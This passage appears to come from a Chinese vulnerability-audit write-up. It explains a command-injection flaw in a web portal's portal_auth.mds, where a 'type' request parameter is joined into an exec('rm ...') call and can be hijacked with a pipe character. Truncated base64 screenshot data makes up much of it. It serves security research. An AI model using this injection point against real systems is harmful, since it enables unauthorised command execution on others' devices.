/HuXPn9B0KEREREREREREREZFWsWNBB549e4aCggLExcXpOxQiIiIiIiIiIiIiIq3SaceCcGo27AatQ5Qg6LIYIiIiIiIiIiIiIiKqIjrpWBCEU5htZwf7V3/XRfZERERERERERERERKQnWu9YEE7Nhr39IQyOj8cf47WdOxERERERERERERER6ZORtjOU9FmJhATp36e0kJ+dnR0SZBkWPQagtI2IiIiIiIiIiIiIiKqG1jsWtC0hIUHeuVDdOhUyMzORm5ursj0jIwMAkJeXh+TkZJX9EokEVlZWug6PiIiIiIiIiIiIiEjrqn3HAoBq2akQFxeHn3/+GYWFhaWmuX79Oq5fv6523/Dhw9GlSxddhUdEREREREREREREpBM1omNB1qlQnZiZmaFBgwbIyspS2ZeXl4eMjAyYmpqiTp06KvsNDQ1hbW1dFWESEREREREREREREWlVte9YKDlSoeSaC/piZWWF9957T+2+q1evYvfu3WjdujVGjhxZxZEREREREREREREREemOgb4DEEOxI0FxWiQiIiIiIiIiIiIiIqpa1b5jQd3ohOowYoGIiIiIiIiIiIiIqDaq9h0LRERERERERERERERUfbBjgYiIiIiIiIiIiIiIRNPp4s19ViagNk9aJJFI9B0CEREREREREREREZFWccSCDjRt2hTu7u5o2bKlvkMhIiIiIiIiIiIiItIqSV5engAAGRkZyM/P13c8emNlZaXvEIiIiIiIiIiIiIiIqj2OWACnLCIiIiIiIiIiIiIiEkvesWBgUHv7GNixQEREREREREREREQkjrw3wchIp+s4V2u1ue5ERERERERERERERJqQdywYGxvD0NBQn7HohUQigampqb7DICIiIiIiIiIiIiKqEeSLNwNAYWEhTGb66jMevchfHazvEIiIiIiIiIiIiIiIagSljgVA2rmQnZ0Ny7m99RVTlUj69gTMzc1r5SgNIiIiIiIiIiIiIqKKUulYkCksLERBQQEKCwurOiadkkgkMDQ0ZIcCEREREREREREREVEFlLpqsYGBAQwMDErbTUREREREREREREREtRB7DoiIiIiIiIiIiIiISDSjq7du6zsGIiIiIiIiIiIiIiKqIUpdY4GIiIiIiIiIiIiIiKgkToVERERERERERERERESisWOBiIiIiIiIiIiIiIhEY8cCERERERERERERERGJxo4FIiIiIiIiIiIiIiISjR0LREREREREREREREQkGjsWiIiIiIiIiIiIiIhINHYsEBERERERERERERGRaOxYICIiIiIiIiIiIiIi0dixQEREREREREREREREorFjgYiIiIiIiIiIiIiIRGPHAhERERERERERERERicaOBSIiIiIiIiIiIiIiEs2oUk9+t6u24qg18lcHi06bmJCARw8eIDU5GQUFBVqPxdDQEJb168OpSRPY2NmJek56ejoSEhKQmZmJwsJCrcdUmxgYGMDc3Bx2dnaoW7eu6OfV9NegIvWujXUmIiIiIiIiIiKqriR5eXmCpk9ih0LliOlcuBcZiQfR0WjYqBFs7e1hYmqq9Thyc3LwLD4esY8fo0mzZmjq5lZm+qdPn+Lp06ewsbFBvXr1YGxsrPWYapO8vDykpaUhMTERDg4OcHBwKPc5z8NroGm9a2OdiYiIiIiIiIiIqjONRyywU6HyZMewtA6GxIQEPIiORtuOHWGn4y8gGzg6wqFhQ1y/fBmWVlaljlxIT0/H06dP4erqCktLS53GVJtYW1ujfv36iIqKgrm5eZl3sz9Pr4HYetfGOhMREREREREREVV3XGOhGnr04AEaNm6s804FGTsHBzRs3BiPHjwoNU1CQgJsbGxq/Je71ZGlpSVsbGyQkJBQZrrn7TUQU+/aWGciIiIiIiIiIqLqrlJrLJBupKakoLGzs0bPCQgIwK1bt+SPHR0dMWTIEBgYiOs7srWzw52bN0vdn5mZCVtbW41iIvHq1auHhw8flpnmeXwNyqt3bawzERERERERERFRdceOhWqoID9fozUV4uPjceDAAaVtUVFRsLOzg6+vr6g8TExNUZCfX+r+wsLCGjm3fU1hbGxc7qLE+n4NUlJS5H9bWVlpJc/y6q3vOgNAcnIyAKB+/fpayU/Ma01ERERERERERFSdsWOhBrp16xZOnDgBa2tr9OnTBzeLRhp07twZffr0wcOHD7F9+3ZcuXIFjRo1wrFjx/D06VN06tQJfn5+eo6eqou0tDRERUXB3t4eANCoUaMy0xcUFFRFWBV27949ANIOEHd3d1hYWGglX3YCEBERERERERERKWPHQg1z7do17Nq1C4WFhXjy5Alu374NAJBIJPDx8YG1tTUsLS1haWmJBw8eYO3atfLnnj17Frm5uRgxYoSeoid9yy8alRIZGYkHDx5AEAT5vvI6Fqq7+Ph4AEBSUhLi4+Ph4uICV1dXAIChoaE+QyMiIiIiIiIiInqucPFmdQRPYHEIsD4EWDwTEKrHHcthYWHYtWsXAGDMmDEYOnQorKysYGpqihEjRqBx48YApF+iTpw4EU2aNIG5uTk6d+6Md955BzY2NggKCsJ///2nz2o8N8IPLcfyLUF4pu9AiIiIiIiIiIiIiDQgCBH4sYcxjI2NYfzOMY2fX/1GLAiDgA1LVLc/2QIs+hGQ1N6+kLt376KwsBB9+/aFt7c3AKB79+5q0zZu3Bjvvvuu0rbXXnsNa9asQVhYGF588UWdx6upZ0Fb8FtggvyxINih26QJ8Hm+1u7VmydPniAsLAwAkJOTA4lEAhcXF7i5uek5Mu1o3749ACA8PBwxMTGIjo5GbGwsAKB58+ZwcHDQY3RERERERERERFSdCEIEfnqxBeYEl5Ow63Lc+e99uEskVRKXJoSIH/FiiznA8jvw/8C9SsuqXh0L3iuAt3vqO4pqy9nZGQBw+/Zt9O3bF5ISJ3N2djbi4uJgY2ODevXqqTz/4sWLAAAPDw/dB6uJZ0HYsvkc4u27YdJHE1DcjxCOQ8sPIXzOYFSziGuU9PR0hIaGIjExUb7N2toaLVq0QN26dbVSRmJiIpKSktTuMzQ0RNOmTbVSTllkizy3bNkSjRs3xp07d5CamgoAuHr1Kuzs7ODl5QVzc3OtlJeYmKh0TBUZGUk/Wqui3kREREREREREVPsIwjHMaDEHwQC66qGs6tOxIAxS6FQ4C0ydVTw6QRgEfKHbHpeaoG3btti/fz8eP36M+Ph4+R3YaWlp+Oeff3Dr1i152oYNG2LMmDFwcnKSb7t9+zbMzMzQrVu3Ko+9dOE4tPkc4lsMx5zBJbsPPDB4DrsUKqKgoACRkZEAgPv370MQBJiYmMDT0xNAxdZTkHVkKa7LIGNkZCQvryTZFF1VycrKCi+88AIePXoEAIiIiEBCQgICAwPRrFkzAECzZs1gYFD+CCiJRFJqnaOiotQ+Rx91JiIiIiIiIiIi8SQSd3zgn4cPih4Lx96ByZBNAIApB3OxdkD1G6FQnVSfjgUnhY6DKyeVpzySHAEWQ3lb45nA5xOKHytOlSR4Al/sABwBXFkIhPQtvdMCUB0pcXih9uqlBfn5+Th69CiuXr2KjIwMGBsbw9LSEoB0lMLPP/+M5ORkmJmZwdHREUlJSYiNjcXq1avx7rvvyjsXGjZsiMjISHz33Xdo27YtBgwYIL/LW1/CD+3DHbTAcJVOBfVUpkvyGqbUIRF+aDn23WmB4XM8EbZ8H0JlX4aXSFeUG4K2bEZgQlEaO19MmuBTPGKiaCRFQpl5VD8JCQm4ffs2srOzAUi/GG/SpAnc3d3ld9Jrm6WlJezt7eULKMtIJBL5AspVTSKRyEf5NGjQAGFhYXj8+LG8A+TJkydo3bo16tevX6H8q2OdiYiIiIiIiIhINwThGGaYDMEmxY1TDiJv7QD5w2PvGGPIJgBdl+Pg6L8wZE6w0lRKip0XANB1+UGM/muIdDqmElMuyaYeCi5OLN8f8WMPtFCYwyl4TgsYzwG6Fk1TJI+jRHxl1k8ptik4mLsGA8ooq/p0LDyKKP67wxJgsXvpayoM/wvwa6q8zXECsKGptNNAUYclQAfFDT2BLz4ozltdXn5q1njQo3///Rf+/v4ApHdJv/zyyzAzMwMAHD9+HMnJyXB1dcX48eNRp04dCIKAkydP4uTJk9i9ezdmzZIek5dffhlbtmxBfHw8/P39YWpqin79+umtXkA4wu4AaOEpbqqj8EM4iCH46KOir/6fBWHL5n3YYjMJExQWYpBIQrFvOTB8zhwMLnreiv37scVmYnE62Line truncated
<h1 id=toc-2>命令执行漏洞</h1>
<p>对于<code>php</code>的命令执行,包括<code>thinkphp</code>等多种框架和代码,大部分都是通过<code>system、exec、call_user_func</code>等造成的,全局搜索的地方可以放在这些地方。</p>
<p>在<code>portal_auth.mds</code>中,看到<code>backupAuthFile和checkFileSize</code>两个函数在调用<code>exec()</code>的时候都拼接了变量, 都是存在<code>命令执行的可能性</code>。</p>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181017-4264d896-c66a-1.png><img src="data:image/png;base64,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 truncated
<p>先看<code>backupFile</code>,查找有没有能够控制<code>$type</code>变量的函数,只找到了一个,其它都是静态的函数。</p>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181024-4622d848-c66a-1.png><img src=data:image/png;base64,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 truncated
<p>这里是<code>g=aaa_portal_auth_config_reset</code>的逻辑,直接接受一个参数<code>type</code>,传入到了<code>backupAuthFile</code>中,所以我们把<code>type</code>的值通过管道符控制就可以达到命令执行的效果,但事实上,这里<code>exec('rm '.$portal_catalog.'/'.$type.'/images/'.$type.'*');</code>就已经能够进行命令执行,分别就不需要进入<code>backUpAuthFile</code>中。</p>
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181029-49775032-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA/sAAAKsCAYAAACzhK3BAAEAAElEQVR4nOy9d4Bd1XUv/Nvn3Bl1CSShRkf0JhAgmui99w52bLAdxylO4vi97zkvzU78YsfPiZ3YcbexMcUUU2w6QhQhUSQQRb2AUBl1zahMuffs74/d1m7nnHvnzkjwvGB0T9ll7bXXXnv9djvs0EMO5QgRY8BBt+JLnz8RS376l3jonWowGIBS4f7x2z+Jxy+gv//L23sd3xAHwCIh896VISXKvkqfZsMjSTE7YLh2neCsFFdFSfUfCTkWSbtsOuY6EoRSQfBGqE9lz0TqjJOyst4kGOPGLUWsdrj+l1nvuZ0q9y6ceIF8mdRkZjSaKf0m73KL4REH5wDnMrD6ZQxM/iWMiXsnSWaS8KlAj1hMnKEoWihM/ZSvXwYwT/AhIdXTygoyZ9GbMhHIncmHEdVm8oGSBQOQpAlaKhW0tLSgUqkAYMiyDD09Peju6kJPT9XSm6KScKKf3LKzXPIj9CJJEhGGc4AxpGmKiuQjSRJwDvT0dKO7pxvVnioyzkUZWIJMxssyTmqB+SLjdr4MUl/VH7jmJ00SpAlDmiZoqbQgTRPBh8qLZ0hYogUqnok/AEiSBIwlIp+EiWspjyzLxB/njmnlhh9VT5IfliRIVHq6rZprpcuKP67TMiJXaSueBI8iHdoYuF1x4FLWefWsdCn2rFaroVqtolarCfmkCSppRfOgs1d22Ko2IydmpR7rdExM9W/UFpagsL31czdypvUgHnDHPlpxtTGKp6kuQvIP2lKPQukz55JKN19G3BI/TdX3pYwe2Pqo7Ei8Frl/T9w5BiBhso0kqo+B1GfYKeu2n1MuVxx2qZwHMXvvcM+FTVL2gZN7pRPB9K1nTh55VRMsYqA0diVE8o0RsQbcf6qvZf0mCdPZhPSZE7m4/Wiz3MeQVanHAfBFXreD1MfE4/pSIm5RHLarFRd9x0YlJg6eMRw65QQM3foG3ny3JxIK4DwtFc4G3Dq29aMp4Az2H2DvTyrq1JtAJdr9rigt6RvnhQA1nI2VIRCrqKXlva+jOvtT5sG86gGEhZHrKY2I63dS5fLyY/jDBgIsiSsmb4Tbb/fMnMn4TlEIRrH41U4vIAdPnAixEoX6YnVdlggDXtUx66fJvUUjmlpWucrWf94d91IRIuayngAwhoQlBoDRsDzOZ/QNt0vIZG4KvDGqiA63DFS/OLIsQ61WQ1